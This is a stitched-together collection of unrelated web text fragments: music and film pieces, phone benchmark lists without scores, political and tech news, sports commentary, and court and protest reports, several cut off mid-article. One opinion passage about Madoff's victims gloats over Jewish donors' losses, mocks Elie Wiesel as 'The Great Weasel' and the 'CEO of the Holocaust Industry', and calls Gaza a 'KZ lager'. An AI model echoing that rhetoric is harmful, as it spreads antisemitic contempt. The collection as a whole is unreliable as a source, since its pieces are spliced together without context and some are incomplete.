One of the aberrations of the path is also what he calls the "stairs that lead to nowhere" -- flights of stairs that go up to the parks from the bikeway, but again, blocked by chain link fence. "It wouldn't be that expensive to take these out," says Moreau.
The sight is also a poignant symbol of the city's history with water and how changing views have affected physical access to our waterways. The stairways were created at a time when this area was meant to offer grand, sweeping views of green landscape and the bustling city. The coming of the chain link fences heralded an era of protectionism, when flood protection was the highest priority, thus impeding access by the public to became the solution.
But times are changing once again. More and more people are clamoring for a change in the way we relate to our water. A recent momentous decision to revisit the city's vegetation clearing management practices on the Los Angeles River and the introduction of river-specific guidelines for nearby properties, not to mention the increased incidences of residents using the river as a place of gathering and community building all points to a dawning of a new river sensibility.
Moreau is simply raising the question, "Why not make simple changes along an already great amenity in Highland Park and be part of this change?" With his easy two-mile walking tour on Saturday, he hopes to start such a conversation. He says, "I just want people to be aware of what's happening and share some ideas of what can be."
1 That album title
Yes, it’s a name for a cancer lesion, although one usually associated with breast cancer, so its meaning in outer-space terminology is likely to have been far more significant for the Starman. As well as being the name of a “hidden planet” that the apocalyptically inclined think will crash into the Earth (“Guys! He knew it was coming!”) and another name for Saturn (“He won a Saturn acting award once!”), it’s also the term for the transitional state between a collapsed star and a singularity (a state of infinite value) in physics – which makes sense if Bowie is placing himself as the collapsed star, and the singularity the state he will enter after his death.
Maybe Bowie was also winking at his good friend, Mos Def, who had a collective with the same name, plus Black Star is the name of a little-known Elvis song that has being doing the rounds. It’s about death. “When a man sees his black star,” Presley sings, “he knows his time … has come.” Bowie was a known Presley nut, telling Q in 1997 that “he was a major hero of mine. And I was probably stupid enough to believe that having the same birthday as him actually meant something.” Which leads us on to …
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2 Blackstar’s release date, and cover art
Yes, Bowie shared his birthday with Presley, but 8 January 2016 was also the inception date of the replicant Roy Batty in Blade Runner – and Bowie was a huge fan of the film. On Salon.com, a reader says Bowie paraphrased a well-known line from Batty’s final monologue on a note sent to the funeral of his schizophrenic half-brother, Terry Burns: “All these moments will be lost, like tears washed away by the rain.” (Mentions of porn stars and wandering stars in the title track also reflect the film’s characters.)
Blackstar was the first Bowie album not to feature his image on the cover, perhaps because he knew he would die soon. Furthermore, the vinyl release’s black star is die-cut – ie it features his absence. The graphic alphabet on the bottom of the cover is also rumoured to be a cipher alphabet, spelling Bowie, while @mattround on Twitter has an even wilder theory: “Bowie’s final album’s name isn’t just an Elvis reference. The Unicode black star character ★ is U+2605. 26 May is Mick Ronson’s birthday.”
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3 The lyrics and videos for Blackstar and Lazarus
The song Blackstar begins in “the villa of Ormen”. This is also the name of a tumblr set up on 20 November 2015, a day after the song’s video was released, which last featured a post on 10 December. This timescale suggests that it could have been created by fans, were it not for some posts that hint towards images from the Lazarus video, released six weeks later: a woman emerging from the right-hand side of a wardrobe (Bowie ends the Lazarus video going back into it on the left, like he’s entering a coffin), plus a skull on a desk.
Ormen is also a village in Norway, the country where Bowie’s old girlfriend, Hermione Farthingale, went in 1969 to appear in the film Song of Norway about the composer Edvard Grieg – and from the musical play by someone going by the name Milton Lazarus. Bowie wore a T-shirt bearing the film’s name in the video to 2013’s similarly reflective Where We Are Now?. Others think Bowie is playing with language: one Reddit poster says “in the villa of Ormen” sounds like “the revealer of all men”, ie death.
Ormen also means serpent in Norwegian, a creature mentioned in the writings of the occultist Aleister Crowley, with whom Bowie was obsessed in the 1970s. This isn’t as spurious as it sounds: in Blackstar, the lyric “at the centre of it all”, reflects a famous line in a Crowley ritual called the Star Sapphire. Also, the black and silver outfit Bowie wears in the Lazarus video is like one he wears on the sleeve of Station to Station, in which he is drawing a Crowley-inspired Tree of Life. “The Station to Station track itself … is the nearest album to a magick treatise that I’ve written,” Bowie said, again to Q, in 1997. “I’ve never read a review that really sussed it. It’s an extremely dark album.” Something warmer to finish, though: the smiley-face badge on the astronaut’s jacket in the Blackstar video is the face of Gerty, the robot companion in Bowie’s son Duncan Jones’ film, Moon, a lovely last message from father to son.
4 Other lyrics on the album
Don't be fooled by their name, these are the true successors to the Snapdragon 810. They use the Cortex-A72 CPU core, faster and more powerful than the A57 it replaces. The Snapdragon 650 has two of them, the 652 has four, both add four Cortex-A53 cores for low-power needs.
Better still, the GPU is part of the Adreno 5 series, a 510 to be exact. It's miles ahead of the Adreno 405 that's used in lower-end Snapdragon 6-series chipsets. It even stacks up well against the Adreno 430 in the S810 chipset. Sony paired the chipset with 3GB of RAM, while some makers are slowly making their way to 6GB.
The Xperia X focuses on things like design, camera and audio. Sony also has the Xperia X Performance, which as you can guess from the name, offers a faster chipset - a Snapdragon 820, if you want more oomph than the S650 delivers. There are other advantages to the Performance model too, but that's a story for another time - for now, let's stick with benchmarking the S650.
GeekBench 3 (multi-core)
Higher is better
Meizu Pro 6
Xiaomi Mi 5
Sony Xperia Z5
Sony Xperia X
Sony Xperia M5 Dual
LG Nexus 5X
HTC One A9
Samsung Galaxy A5 (2016)
vivo X5Pro
GFX 3.0 Manhattan (onscreen)
Higher is better
Xiaomi Mi 5
Sony Xperia Z5
Meizu Pro 6
LG Nexus 5X
Sony Xperia X
Sony Xperia M5 Dual
HTC One A9
vivo X5Pro
Samsung Galaxy A5 (2016)
GFX 3.1 Manhattan (1080p offscreen)
Higher is better
Xiaomi Mi 5
Sony Xperia Z5
LG Nexus 5X
Meizu Pro 6
Sony Xperia X
Sony Xperia M5 Dual
HTC One A9
GFX 3.1 Manhattan (onscreen)
Higher is better
Xiaomi Mi 5
Sony Xperia Z5
LG Nexus 5X
Meizu Pro 6
Sony Xperia X
Sony Xperia M5 Dual
HTC One A9
Basemark X
Higher is better
Xiaomi Mi 5
Sony Xperia Z5
LG Nexus 5X
Meizu Pro 6
Sony Xperia X
Sony Xperia M5 Dual
HTC One A9
vivo X5Pro
Samsung Galaxy A5 (2016)
Basemark OS 2.0
Higher is better
Xiaomi Mi 5
Meizu Pro 6
Sony Xperia X
LG Nexus 5X
Sony Xperia Z5
HTC One A9
Sony Xperia M5 Dual
Samsung Galaxy A5 (2016)
vivo X5Pro
Basemark ES 3.1 / Metal
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A fan called in and asked Lane two questions. One… could she share any Justice League spoilers? And two… will it be better than The Avengers? “No and no”, Lane replied with a laugh. “Short, but honest. I hate to disappoint,” she said. Lane also admitted that it’s weird playing Henry Cavill’s mom sometimes because he’s so hot! You can watch her reply at the 1:41 mark in the video below.
It’s rare for an actor to be honest like this about a movie they’re in, but we’ve seen it before. Last year Jeremy Irons said that Batman v Superman deserved the “kicking” it got from critics.
Update: Diane Lane’s publicist chimes in on her Justice League / Avengers comments
Report
Delete Anonymous Wed 30 Nov 2016 16:47:53 No.46570842,30 ReportDelete
Trump: Tax Reform Will Be ‘Rocket Fuel’ For US Economy
Alex Pfeiffer
White House Correspondent
WASHINGTON — President Donald Trump spoke to a large group of manufacturers Friday and pitched his proposed tax reform as “rocket fuel” for the American economy.
“Under my administration, the era of economic surrender is over – and the rebirth of American industry has begun,” Trump said in his remarks to the National Association of Manufacturers (NAM).
The While House unveiled a tax framework this week that would reduce the amount of individual tax brackets, cut the corporate rate, increase the standard deduction and expand child tax credits. “The biggest ever in our country,” Trump called the plan.
“President Donald Trump has delivered on his commitment to put the full weight of the White House behind bold tax reform. Now is the time to think long term and act boldly. Our future depends on it, ” NAM president and CEO Jay Timmons said in a statement.
The push for tax reform comes after repeated failures on behalf of Republicans to repeal Obamacare, and Treasury Secretary Steven Mnuchin said recently that tax cuts are “on track” to occur by the end of the year.
“For the majority of American manufactures that file taxes as sole-proprietors, S corporations or partnerships, we will cap your top tax rate a maximum of 25 percent. This will be the lowest top marginal income tax rate for small and medium-sized business in more than 80 years – this huge tax cut will be rocket fuel for our economy,” Trump said at his Friday speech.
The White House’s tax framework will allow companies for the next five years to fully write off the cost of new equipment in the year it is purchased. “That means more production, more investment, and more jobs,” Trump continued.
The president recently received good economic news as second quarter growth is projected to be at 3.1 percent, higher than the administration’s 3 percent goal.
NAM’s president Timmons said Friday that manufacturers “have never been as optimistic” as they are currently.
He said almost “90 percent” of manufacturers in his organization report a positive outlook for their company. “Compare that to last year’s three quarter average of just under 60 percent,” Timmons added.
Trump campaigned on increasing American manufacturing via trade deal negotiations, reduced regulations, and tax cuts. “Made in the USA is a symbol of unrivaled excellence,” the president said Friday.
Read more: http://dailycaller.com/2017/09/29/trump-tax-reform-will-be-rocket-fuel-for-us-economy/
Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.
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At first glance, you might think this was George Lucas’ home entertainment center on Skywalker Ranch. This amazing Star Wars home theater set up doesn’t belong to George Lucas but rather a couple of Star Wars fanatics from Seattle, Washington.
The entrance to this theater is covered in framed posters from the first animated Clone Wars series and The Phantom Menace. It opens to three framed posters of the original trilogy.
The theater space itself was modeled after the command deck on an Imperial Star Destroyer from The Empire Strikes Back.
The hardware in this theater is no joke. It looks like something out of George Lucas’ MTV Cribs. It uses a Pioneer Laserdisc Player, Meridian 800 DVD Player, Meridian 861 Preamp, Crestron Theater Remote and a Monster HTS3600 Power Center equipped in the theater. There are also a three rows of Cinematech Valentino Chair seating and complete THX compatible surround sound.
There’s also a pretty cool theater setup in the master bedroom with a Runco VX1000C DLP projector and a Stewart ST130 drop down screen. Plus there’s a Star Wars themed gaming room with Star Wars video games, Star Wars pinball and a billiard table. And what game room isn’t complete without a life-sized Sulley from Monsters Inc. statue in the corner.
Along with this incredibly impressive home entertainment setup, their home is covered with Star Wars memorabilia. This house has everything a full sized carbonite frozen Han Solo, a Boba Fett costume, C-3PO and multiple R2-D2s. It’s kind of like living in a Star Wars museum.
Today I’m pleased to announce the general availability of the new Word, Excel and PowerPoint apps for Android phone. These join our previously released Office apps for Android tablets to complete the Office experience for the millions of Android users around the world. Download Word , Excel and PowerPoint on your Android phone today to get started.
Five weeks ago, we announced the Office for Android phone preview. We are so grateful to our preview users, and with their help we were able to test the apps on over 1,900 different Android phone models in 83 countries. During the preview, we heard from thousands of these users, and over the last few weeks we were able to incorporate a lot of their feedback into the apps we’re launching today. For example, we made it easier to connect to other popular third-party storage offerings like Google Drive and Box, as well as many usability adjustments to make it easier to navigate commands within the apps.
Here are a few of my favorite aspects of our new Android phone apps:
On the go reviews and edits —I often need to squeeze in quick reviews in between appointments during the day. I can review documents in full fidelity, read comments and then easily add my own.
—I often need to squeeze in quick reviews in between appointments during the day. I can review documents in full fidelity, read comments and then easily add my own. Presenting from my phone —I love just bringing my phone to a meeting to present wirelessly. PowerPoint for Android phone gives me the same transitions, animations and design that I would have from my desktop, and I can even use inking to highlight important points while presenting.
—I love just bringing my phone to a meeting to present wirelessly. PowerPoint for Android phone gives me the same transitions, animations and design that I would have from my desktop, and I can even use inking to highlight important points while presenting. Quick access to my documents —I can quickly find the document I was working on in the office from my phone. It even shows me where I was last working. Additionally, while I am a faithful OneDrive user, I can also access documents stored in Dropbox, Google Drive or Box with our support for third-party cloud storage providers.
—I can quickly find the document I was working on in the office from my phone. It even shows me where I was last working. Additionally, while I am a faithful OneDrive user, I can also access documents stored in Dropbox, Google Drive or Box with our support for third-party cloud storage providers. Easy to get—We’ve partnered with over 30 global, regional and local OEMs such as Samsung, Sony, LG and many more, to pre-load these apps on Android devices. Many of these devices will be landing in retail stores later this year.
You can download the Word for Android, Excel for Android and PowerPoint for Android apps from the Google Play* store beginning today. We hope you enjoy using them as much as we enjoyed making them.
—Kirk Koenigsbauer
*Word, Excel, PowerPoint apps are available in the following app stores in China: Tencent, Baidu, Xiaomi, CMCC, and through the Samsung Galaxy Store worldwide.
It’s not just any band that can drop a single and immediately earn a shout out from Time Magazine. Radiohead is one of the largest cultural phenomena in modern music. They’re as much generational icons as they are musicians, and much in the same way that music used to be able to shape the world (think civil rights and war protests during the 1960s / early 1970s), this is our very own paranoid bunch of 2000s cynics. That’s why when they release new material to the masses, it’s like a world leader making an important speech. Everyone just sort of listens.
It’s clear that Radiohead has a lot to say on “Burn The Witch.” Frontman Thom Yorke has never been one to state things plainly, as conspiracy theories and prophetic visions have become staples of the band’s lyrical content (If you haven’t researched the parallels between Kid A and the terrorist attacks of 9/11, then I highly recommend a quick google search for a very intriguing – if far fetched – read.) Yorke’s unyielding disillusionment with political/economic greed, consumerist societies, and the exploitation of technology have shown through in spades over the years, and there’s been nary an album to forego some type of political or cultural subtext worth investigating. In the midst of a particularly significant year for American politics, we find that some of the lines are a little more heated than what we’ve become accustomed to: “abandon all reason, avoid all eye contact / do not react, shoot the messengers.” It paints a picture of blind obedience; of hatred and violence. With a music video that bears a striking resemblance to the celebrated 1960s children’s series entitled Trumpton, it’s possible that Radiohead wants listeners to heed yet another ominous warning – although this one seems like far less of an exaggeration.
Musically, “Burn The Witch” is a bit of an odd track for a number of reasons. First, it shows a clear shift away from the electronic-bound approach illustrated on the band’s most recent offerings, especially 2011’s The King of Limbs. This track feels a lot more rock-oriented at its core, but is just as spaciously inclined. The strings that drive the song forward act as a form of percussion, constantly stutter-stepping while anxiously swelling and fading…again and again. It endows the track with an incredible sense of urgency; a craft that Radiohead has been perfecting since their heyday circa OK Computer and Kid A. “Burn The Witch” feels like a cut right from the center of Radiohead’s prime – it’s eerie, compelling, and beautiful. It’s not premature to lump the song in with that era’s best either, because after all it’s a song that Radiohead has been teasing since 2003. When you take into account the time during which this song was conceived – and how relevant that same sense of paranoia is now – it’s either a remarkable testament to stagnant progression or the cyclical nature of history. Pick your poison.
As the list of Madoff’s “victims” grows, their common characteristic is not philanthropy, but rather political Zionism. Virtually all have worked to build a Jewish state with little regard, and often downright hatred, for the non-Jewish population living there.
The money from this type of mogul or “ganzer macher” has been used to dehumanize and depopulate non-Jews in Palestine for over 120 years. But in spite of creating a strong Israeli economy based on guns, diamonds, and security services and in spite of walling Arabs in Bantustans in the West Bank and in the KZ lager known as Gaza, they have failed. Non-Jews outnumber Jews within the borders controlled by Israel, which makes a mockery out of calling it a Jewish state.
Schadenfreude is defined to be largely unanticipated delight in the suffering of another which is recognized as well deserved. Political Zionism deserves scorn and derision; it is racist and antithetical to what Americans profess to hold self-evident: that all men and women are created equal and that we should share equal rights of citizenship. When rich Zionists lose a piece of their portfolios, especially to the guile of one of their own, it is a delight.
The press was first to report Madoff’s pilfering of the Robert Lappin “Charitable” Foundation, an organization whose “mission is helping to keep our children Jewish, thus reversing the trend of assimilation and intermarriage.” If the reader has trouble seeing the blatant racism here, substitute “White” for “Jewish” and imagine it was the stated goal of the David Duke Charitable Foundation.
While Mr. Burston found Madoff’s bilking of “fellow Jews, even Holocaust survivors” particularly outrageous, there are those who find divine justice in seeing one fraud defraud another. Elie Wiesel and his Foundation for Humanity would certainly qualify. Here is a man who has made millions peddling his narrative on the deaths of Jews in World War II; his novel, Night, is mandatory reading for most high school students; questioning it in any way invites charges of “anti-Semitism” and “Holocaust Denial.” He has been feted by Presidents and holds dozens of honorary degrees. If there were a CEO of the Holocaust Industry (a term coined by Norman Finkelstein), surely it would be The Great Weasel.
Wiesel’s Foundation claims to combat indifference, intolerance and injustice through programs to promote acceptance, understanding, and equality. Yet he remains persistently indifferent to over 60 years of suffering of the Palestinian people and treats them with silence or as the “untermenschen” his people once were under the Nazis. Wiesel boasts of having worked for the terrorists of the Jewish Irgun, not as a fighter but as a journalist, and he steadfastly refuses to apologize for the massacre by his employer at Deir Yassin. As a devout Zionist there is no way he can endorse one state in Israel/Palestine with equal rights of citizenship for all.
Other victims of Madoff’s deception, like the Shapiro Family Foundation and the Chais Family Foundation, are undoubtedly genuinely philanthropic and well-meaning. But insofar as their gifts support Jews-only education, medicine, and social programs in Israel, they deserve the derision that would be accorded to Aryan philanthropists or others who support a racist state, one whose very laws favor one chosen group over all the rest.
Madoff’s clients were not just generous Jews; they were Jews who directly or indirectly support the racism inherent in political Zionism. They support the assimilation of Ethiopian Jews (a noble enterprise), but reject the assimilation of Israeli Arabs and the Palestinians caged in West Bank and Gaza. They support “birthright” trips for young American Jews in hopes they will settle in Israel, but not the “Birthright Unplugged” educational trips of Hannah Mermelstein or the work of Jeff Halper’s Israeli Committee Against Home Demolitions.
Madoff’s wealthy victims build ever more Holocaust memorials with the message “Never Forget” but ignore the current siege and starvation of Gaza to which they contribute financially and by their silence. Like The Great Weasel, they simply dismiss the analogy as “unworthy.” Where is the Spielberg movie of the Gaza ghetto that isolates three times as many people as the Warsaw Ghetto and in worse conditions? Where is the support for Righteous Jews like former Princeton University law professor Richard Falk, who calls what Israel is doing to the 1.5 million Palestinians in Gaza “a crime against humanity?” Falk has condemned the collective punishment of the Palestinians in Gaza as “a flagrant and massive violation of international humanitarian law as laid down in Article 33 of the Fourth Geneva Convention.”
Jochen Wirtz is pleased to describe himself as a best-selling writer. He has co-authored a textbook on services marketing that he not only uses as professor at the National University of Singapore Business School, but which has sold more than 700,000 copies.
However, he was so troubled by the $263 list price set for the last edition released in 2010 that he resolved to find a cheaper way to get the book made.
Last month he released an updated hardback version selling for $118 and a paperback for $50.86, having found a new locally based publisher.
“When students are having to pay over $200 for a book, it impedes learning,” Professor Wirtz says.
He notes that he makes minimal amounts from writing textbooks. Most of his income comes from teaching, so the lower price makes little difference to him. “For me as an author it is more important that the book is being used.”
The rising prices of textbooks appears to be reaching a tipping point, the professor adds. The latest US Census Bureau statistics show that textbook prices increased more than 800 per cent from 1978 to 2014, more than triple the cost of inflation and more than the rate of increase of college tuition.
Concern that prices are now just too high is pushing both academics and business schools to seek alternative methods for getting material into students’ hands.
MBA course organisers at McGill University’s Desautels Faculty of Management have made a policy of replacing “wherever possible” paper textbooks with electronic versions, which only contain the chapters that will be necessary for the students. To facilitate this, all Desautels’ MBA students are issued with an iPad during their orientation.
At Erasmus University’s Rotterdam School of Management, use of books on the masters courses has been replaced with digital case studies and articles are available through the school’s university library, which pays for the copyrights. As a result, students will not have to pay extra for the material.
In 2009, HEC Paris became one of the first higher education institutions to start offering reading material, alongside videos and other online content, through Apple’s iTunes U network.
That year the school also issued about 500 iPads to students to encourage them to experiment with accessing the material. It has since switched to putting the material on its learning management system, which can be used on any tablet device or mobile phone.
Going online has encouraged students to look further afield for information that can support their studies, according to Karine Le Joly, HEC’s director of innovation for executive education.
“It changes the behaviour of learners because they now have access to a wealth of information,” she says. “It then becomes part of our role as educators to incorporate this information into the teaching we provide.”
Although Ms Le Joly believes the technology has enhanced teaching at HEC, she admits demand for the textbooks has not dried up just because the information is available online. “Students still prefer to have the paper version,” she says.
Lillian Cheng, adjunct lecturer at the NUS Business School and a marketing consultant, is preparing a case study on textbook pricing. She likens the academic publishing market to that of prescription pharmaceuticals, where the person prescribing the use of the product does not incur the cost of usage and the person using the product is left bearing the captive prices or not reaping the benefit of the product.
The problem with challenging the status quo in textbook publishing is that students are already learning to pass exams without paying for textbooks, she says.
Kent Monroe, a pricing expert and professor emeritus at the University of Illinois at Urbana-Champaign, claims that academic books have risen above the “acceptable price range” such that most students now find alternative ways to access texts.
“The problem then becomes that the individual student becomes less interested in learning because of the cost,” he says.
Related article Blind executive navigates MBA challenge at MIT Sloan Joe Bellantoni says his wife’s support saw him through the programme
Some unofficial disruption of the textbook market has been going on for years, Prof Monroe notes. “You hear bookstore owners say they know when an exam is coming up because they see students reading the books in the aisles of their shops then putting them back on the shelves.”
In one of Prof Monroe’s MBA courses there has been an international version of a textbook that was significantly cheaper than the official American edition.
As a result, he says, significant numbers of his students buy the international version from online book retailers based overseas and have it shipped to the US. One of his students, from India, bought two editions, sending one home to his father, with whom he would also share his class notes, Prof Monroe recalls.
Prosecutor David White said Mark and Helen Tyler from Willunga Hill, south of Adelaide, operate what is known as a "house cow share scheme" for about 30 milking cows, ABC News reports
They offer shares to the public for about $30 each, which allows people to take home bottles of unpasteurised milk, also known as raw milk, after paying an additional "boarding fee".
White said the Government did not allow the sale of unpasteurised milk under the Food Act because of public health concerns.
It is, however, legal to drink unpasteurised milk from your own cow.
Mr Tyler brought a cow to the Christies Beach Magistrates Court to show people what they were buying when they bought shares.
He argued they were buying into a cow rather than purchasing milk.
The trial heard evidence from Lance Holberton, who helped carry out an investigation for Primary Industries and Resources South Australia (PIRSA).
He purchased a share in a cow and collected some milk after paying his boarding fee.
His interaction is the subject of the first charge against the Tylers – selling milk that did not comply with the Australia and New Zealand Food Standards Code (ANZFSC).
Another PIRSA official is due to give evidence during the trial that he took samples of the milk from the dairy in August 2013.
The samples were tested and showed microbiological contents well in excess of allowable levels under food standards.
That evidence is the subject of a second charge: failing to comply with a requirement of the ANZFSC.
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The Mines Ministry is closely working with Bhaskaracharya Institute of Space Applications and Geo-Informatics (BISAG) under the Department of Communications and IT for developing the technology for the platform.
“It will be a state-of-the-art system that will track the mine lease areas and will detect even the slightest change in topography. This will inform us about the amount of ground exploited and through analytics and simulations will inform us about the volume of minerals stolen,” a senior official said.
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According to the official, once the system is activated, the ministry will feed all the site data, maps and coordinates into the system that will be utilised as standard data, which it will compare with the data that will be sent from the satellites.
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The Mining Surveillance System (MSS) for major minerals is being developed with the help of BISAG and will be set up at National remote Sensing Centre in Hyderabad, he said.
“Satellites will scout the mine site once in about 24-25 days and will send coordinates and data to the centre, which will be fed into the system. This data will then be compared with the initial data and we will know about the difference in landscape, volume of ground dug, etc,” the official added.
Conforming the development, another official said Mines Ministry has asked states to provide the available digitised lease-wise information for all major mineral leases in their areas for expediting the development of MSS.
The Centre has also strengthened penal provisions to check illegal mining in the country.
The penal provisions for illegal mining cases under Section 21 have been enhanced to a maximum penalty of Rs 5 lakh and jail term of 5 years.
According to the latest government data, 48,467 illegal mining cases of major and minor minerals have been registered in April-September 2015-16.
This is against 97,149 in 2014-15, 88,689 in 2013-14 and 98,597 in 2012-13.
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While it looks to be your standard game-to-movie fare, keep an eye out or two to see a few familiar faces — especially if you're a fan of HBO's Game of Thrones.
Give it a watch and see for yourself.
Yes, Sean Bean (Lord of the Rings) is again, reprising his role. It's worth pointing out that Bean was also a main character in Game of Thrones. Aside from Bean, there's also Jon Snow — the same Jon Snow who's Bean's bastard son in the hit TV show.
Silent Hill: Revelation 3D is being directed by Michael J. Bassett and is being distributed by Open Road (Lionsgate for international markets) for an October 26 theater release.
The surprise comes in the form of Fabbri. Everyone knew he was going to put up some numbers, but 17 points in 28 games is impressive for someone who didn’t see any first-line time last season. At this rate he is on pace to hit the 50 point mark, 13 more than he had last season.
Robby Fabbri : The St. Louis Blues New Star
Recent Success
Fabbri credits a lot of his recent success to simply becoming more comfortable on the ice. Watching him play, it’s hard to argue that. Fabbri’s comfort has shown through in a lot of ways. Not only is he putting up more points, but he’s been a lot grittier and a lot more aggressive when he’s on the ice.
Hustling has never been a problem with Fabbri, like it is with some rookies, but so far he’s shown even more than normal. He’s even standing up for himself more, getting into only his second NHL fight, against Josh Gorges. Gorges was slashing Fabbri while he carried the puck into the zone, and, after what was probably an interesting conversation between the two, Fabbri dropped the gloves.
Top-Line Minutes
During the 8-4 loss to the Columbus Blue Jackets on November 12, Hitchcock went out on a limb and paired Fabbri up with Vladimir Tarasenko. Jori Lehtera centered the two, and the line was lethal. The three played together on even strength and on the power play, and were the line on the ice for all four goals scored that game.
Since that game, just under 75% of Fabbri’s ice time has been spent with Tarasenko at his wing. While paired together, Fabbri and Tarasenko have been one of the best pairs in the league. In the past five games alone, they have a combined 12 points. Fabbri has five of those 12, with all five coming in a three-game span.
In Tuesday night’s game against the Nashville Predators, Fabbri wasn’t able to get any points. This is most likely because of the slight line changes. Hitchcock moved Fabbri to the position he played in junior: center. At his wings were Tarasenko and Schwartz.
In concept, this was a great line change. The three have single-handedly won games for the Blues recently, and have playing styles that have complemented each other in the past. However, the move put a little bit more pressure on Fabbri’s shoulders, and it threw him off of his groove. Of course, when a center isn’t playing his best, nobody will be. All three players suffered a -2, even Tarasenko who had two assists on the night.
It was clear that the Fabbri-Lehtera-Tarasenko line was where Fabbri felt most comfortable. Putting Schwartz in Lehtera’s spot was a good idea on paper, but shouldn’t happen again. Instead, Lehtera should get the spot back in Thursday night’s game against the New Jersey Devils. If the line does get put back together, the game against the Devils shouldn’t be much of a challenge.
The three have been able to carry the team to victory before, and they won’t have any problem doing it again. If Hitchcock can keep his head and not change this lineup anymore, this will be the line that leads the Blues to the playoffs and even farther. A role like this wasn’t expected to be placed on Fabbri this early in his career. But nobody’s complaining, especially after such a strong start to the season.
A 7- or 8-year-old child visiting with his parents found the loaded Glock after a member of the security detail for Mr. Boehner allegedly left the firearm in the bathroom of the Speaker’s Suite on March 24, Roll Call reported.
In an earlier instance, Senate Majority Leader Mitch McConnell’s security detail allegedly left his Glock and magazine stuffed in the toilet seat cover dispenser of a Capitol Visitor Center bathroom stall. It was found by a Center employee on Jan. 29, Roll Call reported.
And April 16, a third Glock was found lying in plain sight by a janitor cleaning a bathroom at the Capitol Police headquarters building on D Street NE, the report said.
The department’s Office of Professional Responsibility reportedly recommended six days of suspension without pay for the officer involved in the Jan. 29 incident, but the latter two are still being investigated.
“The Department takes very seriously all breaches of Department rules and has established policies that address such matters,” said Lt. Kimberly Schneider, a Capitol Police spokeswoman, said in an email to Roll Call.
“Each disciplinary matter is thoroughly investigated and reviewed, employees are held accountable for their conduct, and they are provided due process in adjudicating these matters,” she said. “Depending on the nature and seriousness of the violation, an employee’s record, and other required considerations, an appropriate penalty is applied, up to and including termination of employment. As a matter of policy, the Department does not routinely discuss internal personnel matters, in order to maintain the integrity of the Department.”
The offices of Mr. Boehner and Mr. McConnell did not issue a comment to the paper.
CHICAGO (CBS) — A former state lawmaker dying of cancer and lung disease has been sentenced to 8 years in prison, for collecting and exchanging more than 2,700 images of child pornography, which his judge called a “despicable crime.”
U.S. District Judge Edmond Chang also ordered former state Rep. Keith Farnham to begin serving that prison term in two months, denying his attorneys request to allow him to stay on house arrest and die at home.
Farnham’s doctors have given him only four months to live. He has been diagnosed with bladder cancer, pulmonary fibrosis, and hepatitis. He breathes with the help of an oxygen mask.
Chang moved the sentencing hearing to a Kane County courtroom in Elgin, rather than the Dirksen Federal Courthouse in downtown Chicago, due to Farnham’s failing health.
Farnham resigned from the Illinois House last year, and later pleaded guilty to child pornography charges, admitting he had a collection of more than 2,700 videos and pictures of children being sexually abused. Some showed girls as young as two years old crying while they were victimized.
Chang said Farnham committed a “despicable crime” that created “a nightmare” for the children involved.
In two separate mass suicide bids, petitioners from the provinces of Guizhou and Jiangsu this week travelled to Beijing to make their dramatic protests.
At around 8.10am on Wednesday morning seven petitioners drank pesticide outside the headquarters of China Youth Daily, a state-run newspaper.
A photograph showed the victims – two women and five men – lying on the pavement outside the newspaper, with documents scattered around them.
Chen Xinguo, one of the group, told the Chinese magazine Caijing he had swallowed pesticide to protest the forced demolition of his home in the city of Qingyang in Jiangsu.
Four of the seven remain in life threatening condition, according to the state-run People’s Daily newspaper.
Qin Zeying, the wife of one of the group, 58-year-old Cai Fuxi, said she had not been aware of her husband’s plans but hinted that she supported them.
“We had no other option but to resort to this to make ourselves heard. We have lost our house. We have lost everything,” she told The Telegraph. “We’ve been driven to homelessness. We’ve been driven into a corner – the government gave us no way out.”
Ms Qin said her husband, who she believes is now “out of danger”, had dedicated his life to obtaining compensation after the family home was demolished.
He had previously travelled to Nanjing, the provincial capital, to protest, she said. There, he was detained and thrown into an illegal “black jail” where, for three days, he had “no food, no sleep and not even a drop of water to drink”. “All my husband wants is to get an answer,” she added.
In a separate incident, five petitioners from Guizhou province in southwest China also attempted to kill themselves in protest after being detained by police.
“They drank the pesticide and fell to the floor,” a witness named only as Ms Zhu told Radio Free Asia, the US-funded news group.
Ms Zhu said she had unsuccessfully tried to talk to one of the petitioners, in order to publicise their case.
“She said a couple of things, and then white foam started coming out of her mouth and she fainted away."
“When they fell to the floor, all the petitioners gathered round and started shouting, but the police corralled us and wouldn't let us see," Zhu added.
"One policeman saw me taking photos and dragged me into an office where he snatched my cell phone and deleted the photos.”
The exact nature of the group's cause was unclear although Radio Free Asia reported it related to complaints against by local government officials.
Petitioning is an ancient tradition in China. Millions of citizens continue to flock to the capital each year to air their grievances even though few cases are ever solved.
Earlier this year Beijing promised to reform the petitioning system and protect petitioners who are often beaten or illegally imprisoned to stop them taking their complaints to the capital.
However, Maya Wang, a Hong Kong-based researcher from Human Rights Watch, said there was no evidence to suggest that such violations were diminishing.
“We haven’t heard of any noticeable improvement in the way authorities handle petitions,” Ms Wang said.
Support for U.S. military strikes in Syria is lower than any other intervention in the last 20 years, according to a new poll.
Just 36 percent of Americans support President Barack Obama's call for air strikes against Syrian President Bashar Assad, who the U.S. claims used chemical weapons to kill about 1,400 Syrians, including more than 400 children, according to a Gallup survey released Friday. Obama said he would seek congressional approval before moving ahead with the intervention, but faces stiff opposition from members, the public and the international community.
"Failing to respond to this breach of this international norm would send a signal to rogue nations, authoritarian regimes and terrorist organizations that they can develop and use weapons of mass destruction and not pay a consequence," Obama said Friday during a news conference at the G-20 summit in St. Petersburg, Russia. "And that's not the world that we want to live in."
The negative public opinion underscores why the president said he would address the public Tuesday to lay out his case for the intervention.
Gallup compiled public opinion on other recent military operations – from the Iraq War to Kosovo – all of which had more support than Obama's plan for Syria.
In 1999 during the Clinton administration, 43 percent of people said they supported the mission in Kosovo and the Balkans. But all three wars started under Bush administrations earned well over 50 percent support: George H.W. Bush's Persian Gulf War had 62 percent support in 1991; George W. Bush's war in Afghanistan, launched in the wake of 9/11, earned 82 percent support; and his Iraq War received 59 percent support.
"Over the past 20 years, Americans' support for U.S. military engagements at the beginning of conflicts has traditionally been quite high, with an average of 68 percent of approving of 10 previous newly commenced conflicts," said Andrew Dugan, a polling analyst for Gallup in a memo accompanying the survey results.
But support for military conflicts doesn't remain static, Dugan said.
"The 1999 Kosovo-Balkans and 2003 Iraq conflicts are the clearest examples of the rally effect," he said. "Americans' backing of the bombing campaign in the former Yugoslavia climbed to majority levels once the United States became militarily involved. The 2003 Iraq War is even more dramatic."
